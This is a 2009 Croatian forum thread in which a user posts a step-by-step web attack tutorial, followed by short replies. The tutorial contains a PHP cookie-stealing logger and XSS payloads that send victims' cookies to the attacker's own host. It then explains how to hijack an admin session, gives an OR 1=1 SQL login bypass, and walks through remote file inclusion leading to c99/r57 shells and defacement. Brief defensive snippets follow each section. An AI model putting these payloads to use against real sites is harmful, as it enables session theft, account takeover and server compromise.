WEB: ofenziva i defanziva

poruka: 10
|
čitano: 10.698
|
moderatori: Lazarus Long, XXX-Man, vincimus
1
+/- sve poruke
ravni prikaz
starije poruke gore
16 godina
neaktivan
offline
WEB: ofenziva i defanziva

Ovaj thread je isključivo u edukacijske svrhe, napravljen za pomoć i razumjevanje! Autor ovog teksta se ograđuje od bilo kakve štete uzrokovane ovim threadom!
Tekst je napisan za web developere koji žele znati više!

XSS

Cross-Site Scripting (XSS) je sigurnosni propust u web arhitekturi. Pogođene su web aplikacije koje ne izvršavaju upite pravilno. Tako omogućavaju napadaču upload svojeg dokumenta,HTML-a, Javascripa na server. Ali najčešće se koristi za krađu "kolačića".
Sad neću objašnjavati što su to Cookies(vidi wikipedia). Uglavnom, ako imamo cookie, jedinstveno određujemo korisnika, njegov pristup i sl...
3 su vrsta XSS napada: "Persistent" i "Non-Persistent" i DOM-based napadi.
Perzistenti su rijetki. Tip: server drži podatke, koje prije slanja web-aplikaciji se ne filtriraju. Mogućnost uploada skripte koja se izvršava na svim browserima koji pristupaju serveru.
Ne-perzistentni su češći. Tip: Korisnik šalje podatke, server izvršava skriptu koja mora odmah vratiti podatke.

Primjer perzistentnog napada:
Imate forum ranjiv na XSS. Započinjete pisati novu temu. Naslov, predmet, u sadržaj pišete: <script>alert("Ovo je primjer perzistentnog XSS napada!")</script>. Kad otvorite temu, iskoči prozor koji piše "Ovo je primjer perzistentnog XSS napada!". Naravno, ovo je najjednostavnija klijentska aplikacija, a može se puno više.
Za prikupit cookie trebate blago modificirati kod. <script>alert(document.cookie)</script>. Sad vam iskoči vaš cookie. Za ukrasti tuđe cookie je potrebno više napora...
Najprije morate imati svoj hosting da podržava php. Napravite idući php i postavite ga stranicu.
<?php
$cookie = $_GET['c];
$ip = getenv (’REMOTE_ADDR’);
$date=date("j F, Y, g:i a");;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.txt’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header ("Location: http://www.google.com");
?>
Spremi pod ime.php. Uredi kod unosa. Uplodiraj na www.moj-site.com. Vrati se na forum i sad upiši u novu temu <script>document.location="http://www.moj-site.com/ime.php?c="+document.cookie</script>
Kod idućeg otvara svog site-a imaš novi html i u njem sve kolačiće onih korisnika koji su kliknuli na tvoju temu. Sad se vratite na forum i u URL upišite dani cookie: javascript:void(document.cookie="forum_7464873647327gdzedg33=Admin") Izvršite naredbu i refreshajte stranicu. Ulogirani ste kao administrator.

Primjer neperzistentnog napada:
Tražite nešto po forumu. Reći ćemo, po autorima. Nakon što pritisnete traži, u URL vam izbaci nešto ovako: http://www.neki-site.com/forum/forumaction=search&user=Smooth Operator   .To Smooth Operator zamijenite s nekim javascriptom: <script>alert("Ovo je primjer neperzistentnog XSS napada!")</script> Izvršite upit. Nakon što se refresha stranica idite na source kod i vidite kako se filtrira stranica. S pomoću \ se izbacuju navodnici. Vama treba nešto bez navodnika.Idite na www.wocares.com/noquote.php i upišite tekst koji želi da vam izbaci.Dole na radio buttonu stavite javascript i stisnute ok. Sad vam se izgenerira nešto kao String.fromCharCode(111,222,333,444). Vratite se u URL i na mjesto Smooth Operator upišite '/><script>alert(String.fromCharCode(111,222,333,444))</script>     Da,primjećujete malu promjenu na početku. Isprobajte,da li najjednostavnija aplikacija radi.
Sad cookies! Umjesto Smooth Operator upišite'/><script>document.location="http://www.moj-site.com/ime.php?c="+document.cookie</script> Nažalost,opet imate navodnike. Idite opet na www.wocares.com/noquote.php i sad uradite isto s http://www.moj-site.com/ime.php?c= Stavite js botun i generirajte char. Sad umjesto Smooth operator napišite izgenerirani char, '/><script>alert(String.fromCharCode(111,222,333,444,555,666))+document.cookie</script> Vratite se na svoj site, imate cookie,ulogirajte se kao u prethodnom primjeru.

Pa kako se obraniti... Kao što se vidi, ovim se stiče samo cookie i ako uspiješ adminov cookie uzeti, onda možeš i sve raditi na toj stranici. Dakle, treba obraniti browser prilikom pristupa stranici. Sve ovo onemogućivate tako što skinete FF add-on https://addons.mozilla.org/en-US/firefox/addon/5589

Također,na vašem serveru, dobro je držati ovakvu skriptu:

<?php
$queryString = strtolower($_SERVER['QUERY_STRING']);

if (strstr($queryString,"<") OR strstr($queryString,">") OR strstr($queryString,"(") OR strstr($queryString,")") OR
strstr($queryString,"..") OR
strstr($queryString,"%") OR
strstr($queryString,"*") OR
strstr($queryString,"+") OR
strstr($queryString,"!") OR
strstr($queryString,"@")) {
$loc = $_SERVER['PHP_SELF'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date ("d-m-Y @ h:i:s");
$lfh = "log.txt";
$log = fopen ( $lfh,"a+" );
fputs ($log, "Datum napada: $date | Napadačev IP: $ip | QueryString: $loc?=$queryString\n");
fclose($log);
echo "Rezultati se ne žele prikazati pederu!";
}
?> 
Tako da imate logove, ko vam sve šupa po stranci!
Obrana je bila jednostvana i učinkovita.


SQL Injection

 

SQL injekcija je manipuliranje bazom podataka, tako da ekstraktate, izvučete passworde iz baze podataka. To se čini kombinacijama upita. Potrebno znanje iz SQL baza. Pogledajmo najjednostavniji SQL injection i njegov kod stranice koja ima tu slabost:

<?php
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
    echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
    $sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
    $ret = mysql_query($sql);
    $ret = mysql_fetch_array($ret);
    if ($ret[0] != "") {
        echo("Welcome, $user.");
    } else {
        echo("Incorrect login details.");
    }
}
?>
Kao klijent, ovo nećete moći vidjeti, jer .php kod se izvršava na serveru, vi vidite izvršeni kod. Ubacite "" (dvostruke navodnike) u login, i ako vrati error, a ne "Incorrect login details", vjerojatno se može injektirati. Tada se injekcija vrši ovako, u login upišite Administrator a u password "" OR 1=1--" (s navodnicima). Ili probajte malo učiti baze, nadoći će to...Cool  Ovako se izvrši upit u bazi: "SELECT `IP` FROM `users` WHERE `username`='Administrator' AND `password='' OR 1=1--'"    .Logika upita ili zahtijeva jednu alternativu, ali pošto ta alternativa je 1=1, a i ona je točna, upit nam vrati, a znakovi -- "režu" tu sintaksu, jer bi nam inače "" uništilo upit, a trebamo "". Ako ste uspješno izvršili SQL injection, vratit će vam password iz baze.
Obrana se radi u samom .php kodu. Treba prekinuti svako dinamičko generiranje SQLa u vašem kodu. Primjer koda koji ne dopušta SQL injekciju.
Dim thisCommand As SQLCommand = New SQLCommand("SELECT Count(*) " & _
"FROM Users WHERE UserName = @username AND Password = @password", Connection)
thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value = username
thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value = password
Dim thisCount As Integer = thisCommand.ExecuteScalar()
 
 
√ S.T.R.I.C.T.L.Y. for web-developers (RFI i LFI)(what do hackers do)
 
Remote File Inclusion ili, RFI, ili uključivanje file-a koji je na udaljenom serveru...
Naravno, to će samo biti moguće ako ga poslužitelj podržava PHP i omogućava URL Daljinski pristup.

Da uradimo primjer jednog RFIja. Reci mi imamo "server1.com" kao ranjiv, a imamo datoteku
na "server2.com". Oba poslužitelja httpd root direktoriji su "/ var / www." Server 1 ima
ranjivosti u index.php. Server 2 sadrži kod kojih smo u našem želite uključiti na Server 1.

Ovo je jednostavan način kako uključivanje bi trebao izgledati, koje smo koristili kao na primjer.
Server je u index.php 1:
PHP Code:
<?php
$page = $_GET['page'];
include($page);
?>

Sada, prije nego što nastavite sa RFI i datoteke na server 2, mi ćemo najprije testirati kod na
prvi poslužitelj s LFI (Local File inclusion), koja je ista kao RFI, samo je ova metoda koristi
datoteke koje su domaćin na tekućem (lokalnom) poslužitelju, a ne s udaljenim poslužiteljem. Ova metoda se često
koristi u Linuxu kako biste dobili "/ etc / passwd" i ponekad "/ etc / shadow".

Mi ćemo sada stvoriti drugu datoteku na server 1, koju ćemo nazvati "test.txt". Ova datoteka će se samo
sadržavati sljedeće i služi samo kao test:
PHP Code:
<? php
echo "Pozdrav, ovo je test."
?>
Sada možemo testirati naše uključivanje na server 1. Mi ćemo uključiti "test.txt" da biste provjerili da li će to raditi.
A inclusion izgleda "index.php? Page = Datoteka", jer mi koristimo "$ stranicu" i "$ _GET [ 'page']". tako je
URL će biti:
http://server1.com/index.php?page=test.txt

Ako to radi, trebali biste vidjeti tekst na stranici, što će biti:
Pozdrav, ovo je test.

Ako niste stvorili test.txt ili ako se jednostavno ne postoje, ili postoje neke zaštit, trebali biste vidjeti sljedeće pogreške:
Upozorenje: glavni (test.txt) [function.main]: OpenBSD tok: Nema takve datoteke ili direktorija u
/ var / www / index.php on line 1

Sjetite se da su neki serveri imaju URL pristup onemogućen. To ga čini nemogućim da biste uključili vanjske
(ili na daljinu) datoteke. To znači da ne možete koristiti "http://" ili "ftp://" u inkluzije, ali ponekad
još uvijek možete koristiti LFI na tim web lokacijama.

Ok, to sad znamo da je inkluzija radi. Mi sada mogu stvoriti datoteku na naš server 2. Da ga nazovemo
"include.txt". Ova datoteka će sadržavati sljedeće:
PHP Code:
<? php
echo "Vas RFI izgleda kao da radi."
?>
Sada ste spremni učiniti vaš RFI. Ona izgleda ovako:

Server 1 SERVER 2
http://server1.com/index.php?page =http://server2.com/include.txt
 

Ako to radi, vidjet ćete tekst include.txt na stranici
Ispis vašeg remote skripte:
Vaš RFI izgleda kao da se radi.

Sada postoji nešto trebate zapamtiti, a to je da neke web stranice već imate filetype
konfiguriran uključiti u svoje skripte, kao što su:
PHP Code:
<? php
$ page = $ _GET [ 'page'];
uključiti ("".$ stranici.. "html");
?>

Zatim ako koristite "index.php? Page = test", to će uključivati "test.html" na lokalnom serveru. Ako je ovo
slučaj, onda vaš "http://server2.com/include.txt" neće raditi. Možete zaobići ovu stavljanjem
upitnik nakon vlastiti URL, tako da će biti "http://server2.com/include.txt?". Tada URL
bi trebao izgledati ovako:
http://server1.com/index.php?page=http://server2.include.txt?

Što će to učiniti, je uključiti "http://server2.com/include.txt?.html", ali zbog upitnika, ona će o "zaboraviti html" ili .txt i da će samo sadržavati URL.

Međutim, to nije sve što možete učiniti s RFI. Također možete uključiti shell skripti, kao što su "c99"
i "r57". Ove skripte će Vam omogućiti izvršavanje naredbi ili činiti mnoge druge stvari na
poslužitelja.  Ako želite te skripte, ili ih guglajte, ili me pm-ajte. S njima možete uplodirati šta hoćete na ranjivi server i tako defaceati stranicu.

Obrana od RFI-a:
PHP Code:
<?php
$page = $_GET['page'];

if ($page=="index") {
$page = "home";
}

$filename = "./" . $page .".php";

if (file_exists($filename)) {
include($filename);
} else {
include('home.php');
}
?>

Ova skripta vraća napadača na homepage, nedajući mu mogućnost pregledavanja sadržaja.


 

Nadam se da nisam previše otkrio i da će biti ljudi koji će htjeti nastaviti s ovakom edukacijom(SQL injection, backdoori, mailovi..).

Nemoguće je čovjeka naučiti onome što misli da već zna. Što tiši postaneš,to uspiješ više čut.
Poruka je uređivana zadnji put pon 22.6.2009 15:53 (Smooth Operator).
 
14 0 hvala 8
17 godina
offline
WEB: ofenziva i defanziva

Jako dobro odradjeno.

 

Jos ako si upoznat sa cross site uploadom da napises i nesto o tome (a preskocis primjere, jel hehehe da nebi bilo zlouporabe). Nezasticeni sajtovi se jako lako daju haknit. Jos ako je server nezasticen moze doci do belaja.

 

U svakom slucaju good work!

 

Takodjer preporucio bih developerima da koliko mogu da koriste custom error pages i da sakriju error informacije koje se prikazuju na remote serveru jer sa samom greskom koju prikaze (npr kod krivog sql upita) moze se dosta saznati o strukturi same baze sto se moze iskoristiti za sql injection, a sa samim time neke povjerljive informacije (ako imate user accounte negdje u bazi, cms user accounte, pogotovo ako nisu kriptirani passwordi i slicno).

I'm going woo woo
Poruka je uređivana zadnji put čet 30.4.2009 13:00 (tnakir).
 
0 0 hvala 0
16 godina
neaktivan
offline
RE: WEB: ofenziva i defanziva
tnakir kaže...

Jako dobro odradjeno.

 

Jos ako si upoznat sa cross site uploadom da napises i nesto o tome (a preskocis primjere, jel hehehe da nebi bilo zlouporabe). Nezasticeni sajtovi se jako lako daju haknit. Jos ako je server nezasticen moze doci do belaja.

 

U svakom slucaju good work!

 

Takodjer preporucio bih developerima da koliko mogu da koriste custom error pages i da sakriju error informacije koje se prikazuju na remote serveru jer sa samom greskom koju prikaze (npr kod krivog sql upita) moze se dosta saznati o strukturi same baze sto se moze iskoristiti za sql injection, a sa samim time neke povjerljive informacije (ako imate user accounte negdje u bazi, cms user accounte, pogotovo ako nisu kriptirani passwordi i slicno).

  Kad uhvatim vremena. Malo ću manje pisati detalje, jer bi baš moglo biti svačega. A ima tu dosta pokrit, uređivat ću thread pomalo.
Nemoguće je čovjeka naučiti onome što misli da već zna.Što tiši postaneš,to uspiješ više čut.
16 godina
neaktivan
offline
WEB: ofenziva i defanziva

Osvježen tutorial s SQL injection-om. @tnakir: Kako misliš s cross-site uploading-om? Misliš s XSSom nešto uploadirati? Najlakši primjer uploada je skrivanje dokumenta u sliku i upload. Kasnije samo se promjeni ekstenzija.

Nemoguće je čovjeka naučiti onome što misli da već zna.Što tiši postaneš,to uspiješ više čut.
 
0 0 hvala 0
16 godina
neaktivan
offline
RE: WEB: ofenziva i defanziva
Smooth Operator kaže...

Osvježen tutorial s SQL injection-om. @tnakir: Kako misliš s cross-site uploading-om? Misliš s XSSom nešto uploadirati? Najlakši primjer uploada je skrivanje dokumenta u sliku i upload. Kasnije samo se promjeni ekstenzija.

 Postaj ovo na nekim hack forumima a ne da dođu noobovi i počnu ovdje hackat. K, BUG forum je ASP, ali mogu neke druge.

EDIT: Nisam baš za širenje ovakvih opasnih skripata i ostalih stvari. Istina, to što se tiče obrane je u redu.

"Carpe diem..."
Poruka je uređivana zadnji put pon 4.5.2009 16:43 (Moljac).
17 godina
offline
WEB: ofenziva i defanziva

Smooth... Croossite upload ti je da ti preko skripte na svom hostingu uploadas BILO KAKAV FILE na tudjem hostingu ako je nezasticen. Opasna stvar!!

I'm going woo woo
 
1 0 hvala 0
16 godina
neaktivan
offline
WEB: ofenziva i defanziva

Osvježen thread s LFI/RFI! Oprez! Explicit content!

Nemoguće je čovjeka naučiti onome što misli da već zna.
 
1 0 hvala 0
15 godina
neaktivan
offline
RE: WEB: ofenziva i defanziva

A ja mislio da sam paranoičan! , od kad sam iz lige izbacio jednog čovijeka koji mi se zaprijetio od tada gubim site i po malo stalno na vlastiti site nemam pristup niti sam član!

 

Nočna mora!

 

Kako se zaštit , za mene "lajbeka" na mom jeziku , uzeo bi nečiji hosting koji bi platio , bi to bilo rješenje??

 

Sorryy , off topic!

Želim p...
16 godina
offline
WEB: ofenziva i defanziva

Acunetix

 

Instaliraj ga i nek ti on provjeri rupe na site-u. Pa ih zakrpaj.

 
0 0 hvala 0
14 godina
offline
Re: WEB: ofenziva i defanziva
Smooth Operator kaže...

Osvježen thread s LFI/RFI! Oprez! Explicit content!

osvjezi stranicu nisi dugo :))))

dopisi jos nesto, bas me zaiinteresiralo

ako sam ti pomogo stisni HVALA!!!
1
Nova poruka
E-mail:
Lozinka:
 
vrh stranice